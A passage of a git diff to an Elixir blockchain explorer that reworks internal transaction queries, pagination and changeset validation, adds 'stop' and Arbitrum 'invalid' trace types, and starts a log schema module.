|> foreign_key_constraint(:transaction_hash) |> unique_constraint(:index) end @@ -460,10 +438,9 @@ defmodule Explorer.Chain.InternalTransaction do changeset |> cast(attrs, @create_allowed_fields) |> validate_required(@create_required_fields) + # TODO consider removing |> validate_create_error_or_result() |> check_constraint(:init, message: ~S|can't be blank when type is 'create'|, name: :create_has_init) - |> foreign_key_constraint(:created_contract_address_hash) - |> foreign_key_constraint(:from_address_hash) |> foreign_key_constraint(:transaction_hash) |> unique_constraint(:index) end @@ -476,8 +453,17 @@ defmodule Explorer.Chain.InternalTransaction do changeset |> cast(attrs, @selfdestruct_allowed_fields) |> validate_required(@selfdestruct_required_fields) - |> foreign_key_constraint(:from_address_hash) - |> foreign_key_constraint(:to_address_hash) + |> unique_constraint(:index) + end + + @stop_optional_fields ~w(from_address_hash gas gas_used error)a + @stop_required_fields ~w(block_number transaction_hash transaction_index index type value trace_address)a + @stop_allowed_fields @stop_optional_fields ++ @stop_required_fields + + defp type_changeset(changeset, attrs, :stop) do + changeset + |> cast(attrs, @stop_allowed_fields) + |> validate_required(@stop_required_fields) |> unique_constraint(:index) end @@ -496,13 +482,17 @@ defmodule Explorer.Chain.InternalTransaction do end) end - @call_success_fields ~w(gas_used output)a - # Validates that :call `type` changeset either has an `error` or both `gas_used` and `output` defp validate_call_error_or_result(changeset) do case get_field(changeset, :error) do - nil -> validate_required(changeset, @call_success_fields, message: "can't be blank for successful call") - _ -> validate_disallowed(changeset, @call_success_fields, message: "can't be present for failed call") + nil -> + validate_required(changeset, [:gas_used, :output], message: "can't be blank for successful call") + + _ -> + changeset + |> delete_change(:gas_used) + |> delete_change(:output) + |> validate_disallowed([:output], message: "can't be present for failed call") end end @@ -512,8 +502,15 @@ defmodule Explorer.Chain.InternalTransaction do # `:created_contract_address_hash` defp validate_create_error_or_result(changeset) do case get_field(changeset, :error) do - nil -> validate_required(changeset, @create_success_fields, message: "can't be blank for successful create") - _ -> validate_disallowed(changeset, @create_success_fields, message: "can't be present for failed create") + nil -> + validate_required(changeset, @create_success_fields, message: "can't be blank for successful create") + + _ -> + changeset + |> delete_change(:created_contract_code) + |> delete_change(:created_contract_address_hash) + |> delete_change(:gas_used) + |> validate_disallowed(@create_success_fields, message: "can't be present for failed create") end end @@ -546,15 +543,6 @@ defmodule Explorer.Chain.InternalTransaction do where(query, [t], t.from_address_hash == ^address_hash) end - def where_address_fields_match(query, address_hash, nil) do - where( - query, - [it], - it.to_address_hash == ^address_hash or it.from_address_hash == ^address_hash or - it.created_contract_address_hash == ^address_hash - ) - end - def where_address_fields_match(query, address_hash, :to_address_hash) do where(query, [it], it.to_address_hash == ^address_hash) end @@ -567,174 +555,507 @@ defmodule Explorer.Chain.InternalTransaction do where(query, [it], it.created_contract_address_hash == ^address_hash) end - def where_is_different_from_parent_transaction(query) do - where( - query, - [it], - (it.type == ^:call and it.index > 0) or it.type != ^:call - ) + def where_address_fields_match(query, address_hash, _) do + base_address_where(query, address_hash) end - def where_block_number_in_period(query, from_number, to_number) when is_nil(from_number) and not is_nil(to_number) do + defp base_address_where(query, address_hash) do where( query, [it], - it.block_number <= ^to_number + it.to_address_hash == ^address_hash or it.from_address_hash == ^address_hash or + it.created_contract_address_hash == ^address_hash ) end - def where_block_number_in_period(query, from_number, to_number) when not is_nil(from_number) and is_nil(to_number) do + def where_is_different_from_parent_transaction(query) do where( query, [it], - it.block_number > ^from_number + (it.type == ^:call and it.index > 0) or it.type != ^:call ) end - def where_block_number_in_period(query, from_number, to_number) when is_nil(from_number) and is_nil(to_number) do - where( - query, - [it], - 1 - ) + @doc """ + Filters out internal_transactions of blocks that are flagged as needing fetching + of internal_transactions + """ + def where_nonpending_block(query \\ nil) do + estimated_pbo_count = CacheCountersHelper.estimated_count_from("pending_block_operations") || 0 + + # NOT EXISTS query practically performs better on smaller tables + # while the indexed LEFT JOIN IS NULL query is better for larger tables + # The estimated count is used as a heuristic to decide which query to use + if estimated_pbo_count < 1_000 do + (query || __MODULE__) + |> where( + [it], + fragment("NOT EXISTS (SELECT 1 FROM pending_block_operations WHERE block_hash = ?)", it.block_hash) + ) + else + (query || __MODULE__) + |> where( + [it], + fragment( + "(SELECT block_hash FROM pending_block_operations WHERE block_hash = ? LIMIT 1) IS NULL", + it.block_hash + ) + ) + end end - def where_block_number_in_period(query, from_number, to_number) do - where( - query, - [it], - it.block_number > ^from_number and it.block_number <= ^to_number - ) + @doc """ + `t:Explorer.Chain.InternalTransaction/0`s in `t:Explorer.Chain.Transaction.t/0` with `hash`. + + ## Options + + * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is + `:required`, and the `t:Explorer.Chain.InternalTransaction.t/0` has no associated record for that association, + then the `t:Explorer.Chain.InternalTransaction.t/0` will not be included in the list. + * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and + `:key` (a tuple of the lowest/oldest `{index}`). Results will be the internal transactions older than + the `index` that is passed. + + """ + @spec all_transaction_to_internal_transactions(Hash.Full.t(), [ + Chain.paging_options() | Chain.necessity_by_association_option() | Chain.api?() + ]) :: [ + __MODULE__.t() + ] + def all_transaction_to_internal_transactions(hash, options \\ []) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + __MODULE__ + |> for_parent_transaction(hash) + |> Chain.join_associations(necessity_by_association) + |> where_nonpending_block() + |> page_internal_transaction(paging_options) + |> limit(^paging_options.page_size) + |> order_by([internal_transaction], asc: internal_transaction.index) + |> Chain.select_repo(options).all() end - def where_block_number_is_not_null(query) do - where(query, [t], not is_nil(t.block_number)) + @spec transaction_to_internal_transactions(Hash.Full.t(), [ + Chain.paging_options() | Chain.necessity_by_association_option() | Chain.api?() + ]) :: + [ + __MODULE__.t() + ] + def transaction_to_internal_transactions(hash, options \\ []) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + __MODULE__ + |> for_parent_transaction(hash) + |> Chain.join_associations(necessity_by_association) + |> where_transaction_has_multiple_internal_transactions() + |> where_is_different_from_parent_transaction() + |> where_nonpending_block() + |> page_internal_transaction(paging_options) + |> limit(^paging_options.page_size) + |> order_by([internal_transaction], asc: internal_transaction.index) + |> preload(:block) + |> Chain.select_repo(options).all() + end + + @spec block_to_internal_transactions(Hash.Full.t(), [ + Chain.paging_options() | Chain.necessity_by_association_option() | Chain.api?() + ]) :: + [ + __MODULE__.t() + ] + def block_to_internal_transactions(hash, options \\ []) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + type_filter = Keyword.get(options, :type) + call_type_filter = Keyword.get(options, :call_type) + + __MODULE__ + |> where([internal_transaction], internal_transaction.block_hash == ^hash) + |> Chain.join_associations(necessity_by_association) + |> where_is_different_from_parent_transaction() + |> where_nonpending_block() + |> page_block_internal_transaction(paging_options) + |> filter_by_type(type_filter, call_type_filter) + |> filter_by_call_type(call_type_filter) + |> limit(^paging_options.page_size) + |> order_by([internal_transaction], asc: internal_transaction.block_index) + |> Chain.select_repo(options).all() end @doc """ - Filters out internal_transactions of blocks that are flagged as needing fethching - of internal_transactions + `t:Explorer.Chain.InternalTransaction/0`s from the address with the given `hash`. + + This function excludes any internal transactions in the results where the + internal transaction has no siblings within the parent transaction. + + ## Options + + * `:direction` - if specified, will filter internal transactions by address type. If `:to` is specified, only + internal transactions where the "to" address matches will be returned. Likewise, if `:from` is specified, only + internal transactions where the "from" address matches will be returned. If `:direction` is omitted, internal + transactions either to or from the address will be returned. + * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is + `:required`, and the `t:Explorer.Chain.InternalTransaction.t/0` has no associated record for that association, + then the `t:Explorer.Chain.InternalTransaction.t/0` will not be included in the page `entries`. + * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and + `:key` (a tuple of the lowest/oldest `{block_number, transaction_index, index}`) and. Results will be the internal + transactions older than the `block_number`, `transaction index`, and `index` that are passed. + """ - def where_nonpending_block(query \\ nil) do - (query || __MODULE__) - |> join(:left, [it], pending in assoc(it, :pending_block), as: :pending) - |> where([it, pending: pending], is_nil(pending.block_hash)) + @spec address_to_internal_transactions(Hash.Address.t(), [paging_options | Chain.necessity_by_association_option()]) :: + [ + __MODULE__.t() + ] + def address_to_internal_transactions(hash, options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + direction = Keyword.get(options, :direction) + + from_block = Chain.from_block(options) + to_block = Chain.to_block(options) + + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + case paging_options do + %PagingOptions{key: {0, 0, 0}} -> + [] + + _ -> + if direction == nil || direction == "" do + query_to_address_hash_wrapped = + __MODULE__ + |> where_nonpending_block() + |> where_address_fields_match(hash, :to_address_hash) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> where_is_different_from_parent_transaction() + |> common_where_limit_order(paging_options) + |> Chain.wrapped_union_subquery() + + query_from_address_hash_wrapped = + __MODULE__ + |> where_nonpending_block() + |> where_address_fields_match(hash, :from_address_hash) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> where_is_different_from_parent_transaction() + |> common_where_limit_order(paging_options) + |> Chain.wrapped_union_subquery() + + query_created_contract_address_hash_wrapped = + __MODULE__ + |> where_nonpending_block() + |> where_address_fields_match(hash, :created_contract_address_hash) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> where_is_different_from_parent_transaction() + |> common_where_limit_order(paging_options) + |> Chain.wrapped_union_subquery() + + query_to_address_hash_wrapped + |> union_all(^query_from_address_hash_wrapped) + |> union_all(^query_created_contract_address_hash_wrapped) + |> Chain.wrapped_union_subquery() + |> common_where_and_order(paging_options) + |> preload(:block) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + |> deduplicate_and_trim_internal_transactions(paging_options) + else + __MODULE__ + |> where_nonpending_block() + |> where_address_fields_match(hash, direction) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> where_is_different_from_parent_transaction() + |> common_where_limit_order(paging_options) + |> preload(:block) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + end end - def internal_transactions_to_raw(internal_transactions) when is_list(internal_transactions) do + @doc """ + Deduplicates and trims internal transactions based on the page_size specified in paging options. + """ + @spec deduplicate_and_trim_internal_transactions([__MODULE__.t()], PagingOptions.t()) :: [__MODULE__.t()] + def deduplicate_and_trim_internal_transactions(internal_transactions, paging_options) do internal_transactions - |> Enum.map(&internal_transaction_to_raw/1) - |> add_subtraces() - end - - defp internal_transaction_to_raw(%{type: :call} = transaction) do - %{ - call_type: call_type, - to_address_hash: to_address_hash, - from_address_hash: from_address_hash, - input: input, - gas: gas, - value: value, - trace_address: trace_address - } = transaction - - action = %{ - "callType" => call_type, - "to" => to_address_hash, - "from" => from_address_hash, - "input" => input, - "gas" => gas, - "value" => value - } - - %{ - "type" => "call", - "action" => Action.to_raw(action), - "traceAddress" => trace_address - } - |> put_raw_call_error_or_result(transaction) - end - - defp internal_transaction_to_raw(%{type: type} = transaction) when type in [:create, :create2] do - %{ - from_address_hash: from_address_hash, - gas: gas, - init: init, - trace_address: trace_address, - value: value - } = transaction - - action = %{"from" => from_address_hash, "gas" => gas, "init" => init, "value" => value} - - %{ - "type" => Atom.to_string(type), - "action" => Action.to_raw(action), - "traceAddress" => trace_address - } - |> put_raw_create_error_or_result(transaction) - end - - defp internal_transaction_to_raw(%{type: :selfdestruct} = transaction) do - %{ - to_address_hash: to_address_hash, - from_address_hash: from_address_hash, - trace_address: trace_address, - value: value - } = transaction - - action = %{ - "address" => from_address_hash, - "balance" => value, - "refundAddress" => to_address_hash - } - - %{ - "type" => "suicide", - "action" => Action.to_raw(action), - "traceAddress" => trace_address - } - end - - defp add_subtraces(traces) do - Enum.map(traces, fn trace -> - Map.put(trace, "subtraces", count_subtraces(trace, traces)) + |> Enum.uniq_by(fn internal_transaction -> + {internal_transaction.transaction_hash, internal_transaction.index} end) + |> Enum.take(paging_options.page_size) end - defp count_subtraces(%{"traceAddress" => trace_address}, traces) do - Enum.count(traces, fn %{"traceAddress" => trace_address_candidate} -> - direct_descendant?(trace_address, trace_address_candidate) - end) + defp common_where_limit_order(query, paging_options) do + query + |> common_where_and_order(paging_options) + |> limit(^paging_options.page_size) + end + + defp common_where_and_order(query, paging_options) do + query + |> page_internal_transaction(paging_options, %{index_internal_transaction_desc_order: true}) + |> order_by( + [it], + desc: it.block_number, + desc: it.transaction_index, + desc: it.index + ) end - defp direct_descendant?([], [_]), do: true + defp page_internal_transaction(_, _, _ \\ %{index_internal_transaction_desc_order: false}) + + defp page_internal_transaction(query, %PagingOptions{key: nil}, _), do: query - defp direct_descendant?([elem | remaining_left], [elem | remaining_right]), - do: direct_descendant?(remaining_left, remaining_right) + defp page_internal_transaction(query, %PagingOptions{key: {block_number, transaction_index, index}}, %{ + index_internal_transaction_desc_order: desc_order + }) do + hardcoded_where_for_page_internal_transaction(query, block_number, transaction_index, index, desc_order) + end + + defp page_internal_transaction(query, %PagingOptions{key: {0}}, %{index_internal_transaction_desc_order: desc_order}) do + if desc_order do + query + else + where(query, [internal_transaction], internal_transaction.index > 0) + end + end - defp direct_descendant?(_, _), do: false + defp page_internal_transaction(query, %PagingOptions{key: {index}}, %{ + index_internal_transaction_desc_order: desc_order + }) do + if desc_order do + where(query, [internal_transaction], internal_transaction.index < ^index) + else + where(query, [internal_transaction], internal_transaction.index > ^index) + end + end - defp put_raw_call_error_or_result(raw, %{error: error}) when not is_nil(error) do - Map.put(raw, "error", error) + defp hardcoded_where_for_page_internal_transaction(query, 0, 0, index, false), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number == 0 and + internal_transaction.transaction_index == 0 and internal_transaction.index > ^index + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, 0, index, false), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index == 0 and internal_transaction.index > ^index) + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, transaction_index, index, false), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index < ^transaction_index) or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index == ^transaction_index and internal_transaction.index > ^index) + ) + + defp hardcoded_where_for_page_internal_transaction(query, 0, 0, index, true), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number == 0 and + internal_transaction.transaction_index == 0 and internal_transaction.index < ^index + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, 0, 0, true), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, 0, index, true), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index == 0 and internal_transaction.index < ^index) + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, transaction_index, 0, true), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index < ^transaction_index) + ) + + defp hardcoded_where_for_page_internal_transaction(query, block_number, transaction_index, index, true), + do: + where( + query, + [internal_transaction], + internal_transaction.block_number < ^block_number or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index < ^transaction_index) or + (internal_transaction.block_number == ^block_number and + internal_transaction.transaction_index == ^transaction_index and internal_transaction.index < ^index) + ) + + defp for_parent_transaction(query, %Hash{byte_count: unquote(Hash.Full.byte_count())} = hash) do + from( + child in query, + inner_join: transaction in assoc(child, :transaction), + where: transaction.hash == ^hash, + where: child.block_hash == transaction.block_hash + ) end - defp put_raw_call_error_or_result(raw, %{gas_used: gas_used, output: output}) do - Map.put(raw, "result", Result.to_raw(%{"gasUsed" => gas_used, "output" => output})) + # filter by `type` is automatically ignored if `call_type_filter` is not empty, + # as applying both filter simultaneously have no sense + defp filter_by_type(query, _, [_ | _]), do: query + defp filter_by_type(query, [], _), do: query + + defp filter_by_type(query, types, _) do + query + |> where([internal_transaction], internal_transaction.type in ^types) end - defp put_raw_create_error_or_result(raw, %{error: error}) when not is_nil(error) do - Map.put(raw, "error", error) + defp filter_by_call_type(query, []), do: query + + defp filter_by_call_type(query, call_types) do + query + |> where([internal_transaction], internal_transaction.call_type in ^call_types) end - defp put_raw_create_error_or_result(raw, %{ - created_contract_code: code, - created_contract_address_hash: created_contract_address_hash, - gas_used: gas_used - }) do - Map.put( - raw, - "result", - Result.to_raw(%{"gasUsed" => gas_used, "code" => code, "address" => created_contract_address_hash}) + @doc """ + Ensures the following conditions are true: + + * excludes internal transactions of type call with no siblings in the + transaction + * includes internal transactions of type create, reward, or selfdestruct + even when they are alone in the parent transaction + + """ + @spec where_transaction_has_multiple_internal_transactions(Ecto.Query.t()) :: Ecto.Query.t() + def where_transaction_has_multiple_internal_transactions(query) do + where( + query, + [internal_transaction, transaction], + internal_transaction.type != ^:call or + fragment( + """ + EXISTS (SELECT sibling.* + FROM internal_transactions AS sibling + WHERE sibling.transaction_hash = ? AND sibling.index != ? + ) + """, + transaction.hash, + internal_transaction.index + ) + ) + end + + @doc """ + Returns the ordered paginated list of internal transactions (consensus blocks only) from the DB with address, block preloads + """ + @spec fetch([paging_options | api?]) :: [] + def fetch(options) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + preloads = + DenormalizationHelper.extend_transaction_preload([ + :block, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]], + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] + ]) + + __MODULE__ + |> where_nonpending_block() + |> page_internal_transaction(paging_options, %{index_internal_transaction_desc_order: true}) + |> where_internal_transactions_by_transaction_hash(Keyword.get(options, :transaction_hash)) + |> where_consensus_transactions() + |> order_by([internal_transaction], + desc: internal_transaction.block_number, + desc: internal_transaction.transaction_index, + desc: internal_transaction.index + ) + |> limit(^paging_options.page_size) + |> preload(^preloads) + |> Chain.select_repo(options).all() + end + end + + defp page_block_internal_transaction(query, %PagingOptions{key: %{block_index: block_index}}) do + query + |> where([internal_transaction], internal_transaction.block_index > ^block_index) + end + + defp page_block_internal_transaction(query, _), do: query + + def internal_transaction_to_block_paging_options(%__MODULE__{block_index: block_index}) do + %{"block_index" => block_index} + end + + defp where_consensus_transactions(query) do + if DenormalizationHelper.transactions_denormalization_finished?() do + query + |> join(:inner, [internal_transaction], transaction in assoc(internal_transaction, :transaction)) + # todo: this additional check causes performance issues at /api/v2/internal-transactions endpoint + # In the future we plan to extract reorg data into separate tables, so the main tables will no longer contain + # reorged data, and this check will no longer be necessary.. + # |> where([internal_transaction, transaction], transaction.block_hash == internal_transaction.block_hash) + |> where([_internal_transaction, transaction], transaction.block_consensus == true) + else + query + |> join(:inner, [internal_transaction], block in assoc(internal_transaction, :block)) + |> where([_internal_transaction, block], block.consensus == true) + end + end + + defp where_internal_transactions_by_transaction_hash(query, nil), do: query + + defp where_internal_transactions_by_transaction_hash(query, transaction_hash) do + query + |> where([internal_transaction], internal_transaction.transaction_hash == ^transaction_hash) + end + + @doc """ + Conditionally filters internal transactions to include or exclude zero-value transfers. + + When `include_zero` is `true`, the query remains unchanged and will return all + internal transactions regardless of their value. When `include_zero` is `false`, + the query is modified to exclude internal transactions where the transferred + value is zero, returning only transactions with positive Wei values. + + ## Parameters + - `query`: An Ecto query for internal transactions + - `include_zero`: Whether to include zero-value internal transactions + + ## Returns + - Modified Ecto query that either includes or excludes zero-value transfers + """ + @spec include_zero_value(Ecto.Query.t(), boolean()) :: Ecto.Query.t() + def include_zero_value(query, true), do: query + + def include_zero_value(query, false) do + where( + query, + [internal_transaction], + (internal_transaction.type == :call and internal_transaction.value > ^0) or internal_transaction.type != :call ) end end diff --git a/apps/explorer/lib/explorer/chain/internal_transaction/action.ex b/apps/explorer/lib/explorer/chain/internal_transaction/action.ex index 663e30651501..d3311f34879e 100644 --- a/apps/explorer/lib/explorer/chain/internal_transaction/action.ex +++ b/apps/explorer/lib/explorer/chain/internal_transaction/action.ex @@ -1,6 +1,6 @@ defmodule Explorer.Chain.InternalTransaction.Action do @moduledoc """ - The action that was performed in a `t:EthereumJSONRPC.Parity.Trace.t/0` + The action that was performed in a `t:EthereumJSONRPC.Nethermind.Trace.t/0` """ import EthereumJSONRPC, only: [integer_to_quantity: 1] diff --git a/apps/explorer/lib/explorer/chain/internal_transaction/call_type.ex b/apps/explorer/lib/explorer/chain/internal_transaction/call_type.ex index 2f94ca901d49..63e6dba64d2c 100644 --- a/apps/explorer/lib/explorer/chain/internal_transaction/call_type.ex +++ b/apps/explorer/lib/explorer/chain/internal_transaction/call_type.ex @@ -4,6 +4,14 @@ defmodule Explorer.Chain.InternalTransaction.CallType do """ use Ecto.Type + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + @base_call_types ~w(call callcode delegatecall staticcall)a + if @chain_type == :arbitrum do + @call_types @base_call_types ++ ~w(invalid)a + else + @call_types @base_call_types + end @typedoc """ * `:call` - call a function in a contract by jumping into the contract's context @@ -12,8 +20,19 @@ defmodule Explorer.Chain.InternalTransaction.CallType do the current contract's context with the delegated contract's code. There's some good chances for finding bugs when fuzzing these if the memory layout differs between the current contract and the delegated contract. * `:staticcall` + #{if @chain_type == :arbitrum do + """ + * `:invalid` + """ + else + "" + end} """ - @type t :: :call | :callcode | :delegatecall | :staticcall + if @chain_type == :arbitrum do + @type t :: :call | :callcode | :delegatecall | :staticcall | :invalid + else + @type t :: :call | :callcode | :delegatecall | :staticcall + end @doc """ Casts `term` to `t:t/0` @@ -48,11 +67,15 @@ defmodule Explorer.Chain.InternalTransaction.CallType do """ @impl Ecto.Type @spec cast(term()) :: {:ok, t()} | :error - def cast(t) when t in ~w(call callcode delegatecall staticcall)a, do: {:ok, t} - def cast("call"), do: {:ok, :call} - def cast("callcode"), do: {:ok, :callcode} - def cast("delegatecall"), do: {:ok, :delegatecall} - def cast("staticcall"), do: {:ok, :staticcall} + def cast(type) when type in @call_types, do: {:ok, type} + + def cast(call_type) when call_type in ["call", "callcode", "delegatecall", "staticcall"], + do: {:ok, String.to_existing_atom(call_type)} + + if @chain_type == :arbitrum do + def cast("invalid"), do: {:ok, :invalid} + end + def cast(_), do: :error @doc """ @@ -75,10 +98,7 @@ defmodule Explorer.Chain.InternalTransaction.CallType do """ @impl Ecto.Type @spec dump(term()) :: {:ok, String.t()} | :error - def dump(:call), do: {:ok, "call"} - def dump(:callcode), do: {:ok, "callcode"} - def dump(:delegatecall), do: {:ok, "delegatecall"} - def dump(:staticcall), do: {:ok, "staticcall"} + def dump(call_type) when call_type in @call_types, do: {:ok, Atom.to_string(call_type)} def dump(_), do: :error @doc """ @@ -101,10 +121,13 @@ defmodule Explorer.Chain.InternalTransaction.CallType do """ @impl Ecto.Type @spec load(term()) :: {:ok, t()} | :error - def load("call"), do: {:ok, :call} - def load("callcode"), do: {:ok, :callcode} - def load("delegatecall"), do: {:ok, :delegatecall} - def load("staticcall"), do: {:ok, :staticcall} + def load(call_type) when call_type in ["call", "callcode", "delegatecall", "staticcall"], + do: {:ok, String.to_existing_atom(call_type)} + + if @chain_type == :arbitrum do + def load("invalid"), do: {:ok, :invalid} + end + def load(_), do: :error @doc """ @@ -113,4 +136,15 @@ defmodule Explorer.Chain.InternalTransaction.CallType do @impl Ecto.Type @spec type() :: :string def type, do: :string + + @doc """ + Returns the list of `t:t/0` values as `String.t` list + + ## Examples + + > Explorer.Chain.InternalTransaction.CallType.values() + ["call", "callcode", "delegatecall", "staticcall"] + """ + @spec values :: [String.t()] + def values, do: @call_types |> Enum.map(&to_string/1) end diff --git a/apps/explorer/lib/explorer/chain/internal_transaction/result.ex b/apps/explorer/lib/explorer/chain/internal_transaction/result.ex index c4c680e7d445..505f54568630 100644 --- a/apps/explorer/lib/explorer/chain/internal_transaction/result.ex +++ b/apps/explorer/lib/explorer/chain/internal_transaction/result.ex @@ -1,6 +1,6 @@ defmodule Explorer.Chain.InternalTransaction.Result do @moduledoc """ - The result of performing the `t:EthereumJSONRPC.Parity.Action.t/0` in a `t:EthereumJSONRPC.Parity.Trace.t/0`. + The result of performing the `t:EthereumJSONRPC.Nethermind.Action.t/0` in a `t:EthereumJSONRPC.Nethermind.Trace.t/0`. """ import EthereumJSONRPC, only: [integer_to_quantity: 1] diff --git a/apps/explorer/lib/explorer/chain/internal_transaction/type.ex b/apps/explorer/lib/explorer/chain/internal_transaction/type.ex index 6c2890c59be0..0be77999e52c 100644 --- a/apps/explorer/lib/explorer/chain/internal_transaction/type.ex +++ b/apps/explorer/lib/explorer/chain/internal_transaction/type.ex @@ -4,14 +4,30 @@ defmodule Explorer.Chain.InternalTransaction.Type do """ use Ecto.Type + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] @typedoc """ * `:call` * `:create` + * `:create2` * `:reward` * `:selfdestruct` + * `:stop` + #{if @chain_type == :arbitrum do + """ + * `:invalid` + """ + else + "" + end} """ - @type t :: :call | :create | :create2 | :reward | :selfdestruct + if @chain_type == :arbitrum do + @type_values ["call", "create", "create2", "reward", "selfdestruct", "stop", "invalid"] + @type t :: :call | :create | :create2 | :reward | :selfdestruct | :stop | :invalid + else + @type_values ["call", "create", "create2", "reward", "selfdestruct", "stop"] + @type t :: :call | :create | :create2 | :reward | :selfdestruct | :stop + end @doc """ Casts `term` to `t:t/0` @@ -57,12 +73,15 @@ defmodule Explorer.Chain.InternalTransaction.Type do """ @impl Ecto.Type @spec cast(term()) :: {:ok, t()} | :error - def cast(t) when t in ~w(call create create2 selfdestruct reward)a, do: {:ok, t} - def cast("call"), do: {:ok, :call} - def cast("create"), do: {:ok, :create} - def cast("create2"), do: {:ok, :create2} - def cast("reward"), do: {:ok, :reward} - def cast("selfdestruct"), do: {:ok, :selfdestruct} + def cast(type) when type in ~w(call create create2 selfdestruct reward)a, do: {:ok, type} + + def cast(type) when type in ["call", "create", "create2", "reward", "selfdestruct", "stop"], + do: {:ok, String.to_existing_atom(type)} + + if @chain_type == :arbitrum do + def cast("invalid"), do: {:ok, :invalid} + end + def cast(_), do: :error @doc """ @@ -92,11 +111,12 @@ defmodule Explorer.Chain.InternalTransaction.Type do """ @impl Ecto.Type @spec dump(term()) :: {:ok, String.t()} | :error - def dump(:call), do: {:ok, "call"} - def dump(:create), do: {:ok, "create"} - def dump(:create2), do: {:ok, "create2"} - def dump(:reward), do: {:ok, "reward"} - def dump(:selfdestruct), do: {:ok, "selfdestruct"} + def dump(type) when type in [:call, :create, :create2, :reward, :selfdestruct, :stop], do: {:ok, Atom.to_string(type)} + + if @chain_type == :arbitrum do + def dump(:invalid), do: {:ok, "invalid"} + end + def dump(_), do: :error @doc """ @@ -126,11 +146,13 @@ defmodule Explorer.Chain.InternalTransaction.Type do """ @impl Ecto.Type @spec load(term()) :: {:ok, t()} | :error - def load("call"), do: {:ok, :call} - def load("create"), do: {:ok, :create} - def load("create2"), do: {:ok, :create2} - def load("reward"), do: {:ok, :reward} - def load("selfdestruct"), do: {:ok, :selfdestruct} + def load(type) when type in ["call", "create", "create2", "reward", "selfdestruct", "stop"], + do: {:ok, String.to_existing_atom(type)} + + if @chain_type == :arbitrum do + def load("invalid"), do: {:ok, :invalid} + end + # deprecated def load("suicide"), do: {:ok, :selfdestruct} def load(_), do: :error @@ -141,4 +163,15 @@ defmodule Explorer.Chain.InternalTransaction.Type do @impl Ecto.Type @spec type() :: :string def type, do: :string + + @doc """ + Returns the list of internal transaction type values. + + ## Example + + > Explorer.Chain.InternalTransaction.Type.values() + ["call", "create", "create2", "reward", "selfdestruct", "stop"] + """ + @spec values :: [String.t()] + def values, do: @type_values end diff --git a/apps/explorer/lib/explorer/chain/log.ex b/apps/explorer/lib/explorer/chain/log.ex index 68c227f1c6bc..0858ea8875bf 100644 --- a/apps/explorer/lib/explorer/chain/log.ex +++ b/apps/explorer/lib/explorer/chain/log.ex @@ -1,16 +1,112 @@ +defmodule Explorer.Chain.Log.Schema do + @moduledoc false + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.{ + Address, + Block, + Data, + Hash, + Transaction + } + + # In certain situations, like on Polygon, multiple logs may share the same + # index within a single block due to a RPC node bug. To prevent system crashes + # due to not unique primary keys, we've included `transaction_hash` in the + # primary key. + # + # However, on Celo, logs may exist where `transaction_hash` equals block_hash. + # In these instances, we set `transaction_hash` to `nil`. This action, though, + # violates the primary key constraint. To resolve this issue, we've excluded + # `transaction_hash` from the composite primary key when dealing with `:celo` + # chain type. + @transaction_field (case @chain_type do + :celo -> + quote do + [ + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + references: :hash, + type: Hash.Full + ) + ] + end + + _ -> + quote do + [ + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + ] + end + end) + + defmacro generate do + quote do + @primary_key false + typed_schema "logs" do + field(:data, Data, null: false) + field(:first_topic, Hash.Full) + field(:second_topic, Hash.Full) + field(:third_topic, Hash.Full) + field(:fourth_topic, Hash.Full) + field(:index, :integer, primary_key: true, null: false) + field(:block_number, :integer) + + timestamps() + + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) + + belongs_to(:block, Block, + foreign_key: :block_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + 